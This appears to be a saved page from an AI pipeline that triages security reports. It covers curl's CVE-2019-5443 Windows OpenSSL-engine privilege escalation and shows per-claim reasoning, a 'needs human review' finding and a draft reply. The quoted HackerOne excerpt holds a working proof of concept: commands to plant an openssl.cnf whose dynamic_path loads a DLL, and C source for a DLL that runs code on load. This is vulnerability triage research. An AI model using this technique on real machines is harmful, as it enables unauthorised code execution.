Examples / Report #608577 Saved analysis

CVE-2019-5443: Windows Privilege Escalation: Malicious OpenSSL Engine

curl · 2019-06-129.8s analysis · $0.011 in model calls

What the report claims

The curl Windows binaries load an insecure OpenSSL configuration path (c:\usr\local\ssl) that low-privileged users can control, allowing arbitrary code execution via a malicious OpenSSL engine.

Compare with curl's recorded outcome

Known vulnerability

A real vulnerability: CVE-2019-5443 Windows OpenSSL engine code injection

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Needs human review

The available evidence does not settle the report. A maintainer should investigate.

Why this finding?

No curl source code was provided for the relevant revision (29177f422a55), making it impossible to verify whether curl uses a hardcoded c:\usr\local\ssl path for OpenSSL configuration loading.
The deterministic checks only confirm generic symbols exist, not the OpenSSL engine loading mechanism or configuration path handling.
External source E2 confirms OpenSSL's default is /usr/local/ssl, which on Windows could map to c:\usr\local\ssl, but this does not prove curl uses that default.
Privilege escalation claim is unsubstantiated: the report does not show curl runs with elevated privileges (e.g., as SYSTEM or via a service). Step 6 merely says 'Execute curl.exe as a different user' without establishing that user has higher privileges.
A human reviewer needs to examine curl's Windows build configuration and OpenSSL integration code (likely in lib/vtls/openssl.c or similar) to determine if the vulnerability exists.

What still needs checking

curl source code for OpenSSL configuration loading on Windows (likely lib/vtls/openssl.c or similar)
curl build scripts showing OPENSSLDIR handling for Windows builds
Evidence that curl runs with elevated privileges in the reported scenario

How this analysis ran 6 claims · 0 citations verified

Checked against curl master on 2019-06-12 (29177f422a55). Dev evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding

grounded

no model · 4 references checked out, 0 did not

2 · Claims

NVIDIA-Nemotron-3-Nano-30B-A3B

6 claims · 1861 tokens · $0.0002

3 · Evidence

0 code snippets

real curl source at 29177f422a55 · 5 docs via Tavily

4 · Judgment

Nemotron-3-Ultra-550b-a55b

6977 tokens · 7.1s · $0.0112

5 · Receipts

0 of 0 citations verified

every citation must point at code the judge was shown

Review a draft reply to the reporter

Edit and verify before sending.

Thank you for the detailed report. We cannot verify the claims because the curl source code for OpenSSL configuration loading on Windows was not available in our analysis. To proceed, we need to see the relevant code (likely in lib/vtls/openssl.c) that handles OPENSSLDIR and openssl.cnf loading. Also, the privilege escalation requires curl to run with higher privileges than the attacker — could you clarify the scenario where curl executes with elevated rights (e.g., as a service, scheduled task, or via runas)?

Inspect all claims and source code 6 claims · 0 code excerpts

Report claims

C1flaw not verifiable

curl loads openssl.cnf from a hardcoded insecure path (c:\usr\local\ssl) on Windows

Read the reasoning

No curl source code was provided to verify whether curl loads openssl.cnf from c:\usr\local\ssl on Windows. The deterministic checks only confirm generic symbols exist, not the OpenSSL configuration loading logic.

C2location not verifiable

The insecure path is set during the build via the OPENSSLDIR parameter

Read the reasoning

No build scripts or curl source code showing OPENSSLDIR handling was provided. External source E2 confirms OpenSSL's default is /usr/local/ssl, but does not show curl's build uses this.

C3trigger not verifiable

A low-privileged user can create a folder at c:\usr\local\ssl and place a malicious openssl.cnf file there

Read the reasoning

While external sources E3-E5 discuss Windows directory permissions generally, they do not specifically confirm low-privileged users can create c:\usr\local\ssl. More importantly, without curl code showing it reads from this path, the trigger cannot be verified.

C4impact not verifiable

When curl executes, it loads the malicious OpenSSL engine library (e.g., calc.dll) and executes arbitrary code with the user's privileges

Read the reasoning

No curl source code showing OpenSSL engine loading via openssl.cnf or dynamic_path was provided. The claim depends on curl's OpenSSL integration code which is absent.

C5reproduction not verifiable

Steps to reproduce involve creating c:\usr\local\ssl, placing a crafted openssl.cnf with a dynamic_path pointing to a malicious DLL, and running curl

Read the reasoning

Reproduction steps depend on curl behavior that cannot be verified without the relevant curl source code.

C6impact not verifiable

The loaded engine library runs with the full authority of the account executing curl, enabling privilege escalation

Read the reasoning

Privilege escalation requires curl to run with higher privileges than the attacker (e.g., as SYSTEM or another user). The report's step 6 says 'Execute curl.exe as a different user' but does not establish that this different user has higher privileges. Without curl code or a demonstrated escalation path, this claim is unverifiable.

What the report says about other projects

not addressed The path c:\usr\local\ssl is the default insecure OpenSSL configuration directory on Windows

confirmed OpenSSL default configuration directory is /usr/local/ssl (Unix path), overridable with --openssldir

“If --openssldir is not specified, the the default /usr/local/ssl is used.” source

not addressed Low-privileged Windows users can create directories under c:\

Read the original report (excerpt)

Full report on HackerOne ↗

## Summary: The curl windows binaries are built with OpenSSL libraries and have an insecure path for the OPENSSLDIR build parameter. This path is set to c:\usr\local\ssl. When curl is executed it attempts to load openssl.cnf from this path. By default on windows, low privileged users have the authority to create folders under c:\. A low privileged user can create a custom openssl.cnf file to load a malicious OpenSSL Engine(library). The result is arbitrary code execution with the full authority of the account executing the curl binary. Version tested. curl-7.65.1_1-win64 OS: Windows 10 ## Steps To Reproduce: All steps are executed as a low privileged(non-admin) user unless otherwise noted 1. As a low privileged user create the following folder c:\usr\local\ssl ``` mkdir c:\usr mkdir c:\usr\local mkdir c:\usr\local\ssl ``` 2. Create an openssl.cnf file with the following contents. ``` openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] woot = woot_section [woot_section] engine_id = woot dynamic_path = c:\\stage\\calc.dll init = 0 ``` 3. Create the c:\stage folder ``` mkdir c:\stage ```` 4. Create and compile a malicious OpenSSL Engine library. For this PoC we will execute the Windows calculator. ```` /* Cross Compile with x86_64-w64-mingw32-g++ calc.c -o calc.dll -shared */ #include <windows.h> BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: system("calc"); break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; } return TRUE; // Successful DLL_PROCESS_ATTACH. } ``` 5. Copy calc.dll to c:\stage ` copy calc.dll c:\stage ` 6. Execute curl.exe as a different user. ## Supporting Material/References: * PoC image showing curl loading a custom calc.dll and executing calc.exe {F507228} ## Impact A malicious local user(or potentially malware) with access to a Windows workstation or server with curl installed has the ability to silently plant a custom OpenSSL Engine library that contains arbitrary code. Every time curl is executed this library …

Source code

No source code was retrieved for this analysis. The evidence may be incomplete.